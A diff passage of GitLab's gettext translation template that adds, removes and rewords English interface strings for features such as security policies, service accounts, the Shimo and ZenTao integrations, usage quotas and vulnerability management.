+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31979,6 +32542,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32042,18 +32629,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32422,6 +33000,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32785,9 +33366,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33106,6 +33708,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,7 +35042,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34861,6 +35475,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35770,7 +36390,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36342,6 +36965,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,10 +37073,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36471,9 +37097,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36534,6 +37157,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36961,9 +37593,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -37069,6 +37698,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37315,9 +37950,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38488,9 +39114,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38551,9 +39183,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,10 +39204,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38743,7 +39381,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39632,13 +40282,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39761,6 +40417,13 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40390,9 +41059,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40768,6 +41443,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41148,21 +41826,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
